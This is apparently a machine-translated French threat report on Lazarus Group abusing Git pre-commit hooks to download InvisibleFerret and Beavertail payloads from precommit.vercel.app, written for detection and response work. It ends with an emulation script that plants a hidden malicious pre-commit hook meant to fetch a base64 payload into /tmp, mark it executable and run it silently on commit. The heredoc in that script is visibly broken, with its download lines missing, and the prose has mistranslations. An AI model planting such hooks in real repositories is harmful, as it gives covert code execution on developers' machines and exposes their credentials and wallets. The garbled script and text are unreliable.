Le groupe Lazarus utilise des hooks Git pour cacher des malwares : l’entretien contagieux de la RPDC et la campagne TaskJacker cachent désormais leur chargeur de deuxième étape dans les hooks Git téléchargeant les malwares InvisibleFerret et Beavertail

Résumé

Le groupe Lazarus nord-coréen a mis à jour sa campagne Contagious Interview et TaskJacker en intégrant un mécanisme de livraison de deuxième étape à l’intérieur d’un Git malveillant pré-engagement and post-passage hooks. Ces hooks récupèrent silencieusement des charges utiles spécifiques à la plateforme depuis une URL hébergée par Vercel et les exécutent sur des systèmes macOS, Linux et Windows. En abusant des flux de travail de développeurs de confiance et des outils de référentiel, les attaquants transforment des tâches de codage de routine en vecteur de compromis de la chaîne d’approvisionnement qui peut mener au vol de crédences et à la compromission des portefeuilles de cryptomonnaie. Les principaux indicateurs incluent le fichier .githooks/pre-commit script et l’infrastructure hébergée sur precommit.vercel.app.

Enquête

Les chercheurs d’OpenSourceMalware ont identifié un .githooks/pre-commit script compact qui détecte le système d’exploitation de la victime et télécharge la charge utile appropriée depuis precommit.vercel.app en utilisant curl or wget. Le même hash de script est apparu dans plusieurs référentiels GitHub déguisés en projets d’évaluation de code liés aux thèmes crypto et DeFi. L’infrastructure a servi différentes charges utiles shell ou batch en fonction du système d’exploitation, contrôlées via un paramètre de requête basé sur des drapeaux. Les chercheurs ont également partagé des requêtes de recherche de code GitHub qui peuvent être utilisées pour reproduire la chasse et localiser des référentiels similaires.

Atténuation

Les organisations doivent examiner attentivement les hooks des référentiels Git, en particulier les fichiers sous .githooks, .husky, et .vscode/tasks.json, avant de les autoriser à s’exécuter. Les développeurs devraient cloner et tester les référentiels non fiables uniquement dans des environnements isolés qui ne contiennent pas de clés SSH, de fichiers de portefeuille ou de profils de navigateur actifs. L’exécution automatique des hooks Git doit être désactivée dans la mesure du possible ou limitée aux scripts approuvés. Les équipes de sécurité devraient également surveiller le trafic sortant vers precommit.vercel.app et d’autres domaines similaires qui peuvent prendre en charge la livraison de charges utiles malveillantes.

Réponse

Les défenseurs doivent bloquer les communications réseau avec precommit.vercel.app et créer une surveillance de l’intégrité des fichiers pour les fichiers inattendus .githooks/pre-commit . Des alertes devraient également être déclenchées lorsque curl or wget est exécuté à partir de processus liés aux hooks Git. Les crédences potentielles exposées, les jetons ou les portefeuilles de cryptomonnaie doivent être étudiés et remplacés immédiatement. La chasse aux menaces doit être étendue en utilisant les indicateurs fournis pour identifier les référentiels affectés et tout système qui a interagi avec eux.

Exécution de simulation

Prérequis : Le contrôle de pré-vol de la télémétrie et de la ligne de base doit avoir été réussi.

Raisonnement : Cette section détaille l’exécution précise de la technique de l’adversaire (TTP) conçue pour déclencher la règle de détection. Les commandes et le récit DOIVENT refléter directement les TTP identifiés et viser à générer la télémétrie exacte attendue par la logique de détection.

• Narrative et commandes de l’attaque :
  Un opérateur du groupe Lazarus compromet la station de travail d’un développeur et injecte un hook pré-engagement Git malveillant. Le hook est placé dans un répertoire caché “.githooks” pour éviter une découverte accidentelle. Lorsqu’un git commit est effectué, le hook contacte silencieusement un serveur C2, télécharge une charge utile encodée en base64, l’écrit sur /tmp/.payload, la rend exécutable, et l’exécute, établissant ainsi un point d’appui (T1620) et exécutant une charge utile malveillante intégrée (T1027.009).

• Script de test de régression :

  #!/bin/bash
  # -------------------------------------------------
  # Test de hook pré-engagement malveillant à la manière de Lazarus
  # -------------------------------------------------
  
  # 1. Créer un répertoire .githooks caché
  mkdir -p "$HOME/.githooks"
  
  # 2. Écrire le hook pré-engagement malveillant
  cat > "$HOME/.githooks/pre-commit" < "$TMPFILE"
  chmod +x "$TMPFILE"
  # Exécuter la charge utile silencieusement
  "$TMPFILE" &
  exit 0
  EOF
  
  # 3. Rendre le hook exécutable
  chmod +x "$HOME/.githooks/pre-commit"
  
  # 4. Simuler un git commit pour activer le hook
  mkdir -p "$HOME/malicious-repo"
  cd "$HOME/malicious-repo"
  git init > /dev/null 2>&1
  touch README.md
  git add README.md
  git commit -m "Initial commit" > /dev/null 2>&1
  
  echo "Hook pré-engagement malveillant exécuté (si la détection fonctionne, une alerte devrait apparaître)."

• Commandes de nettoyage :

  #!/bin/bash
  # Supprimer les artefacts malveillants
  rm -rf "$HOME/.githooks"
  rm -f "/tmp/.payload" "/tmp/.payload.b64"
  rm -rf "$HOME/malicious-repo"
  echo "Nettoyage complet."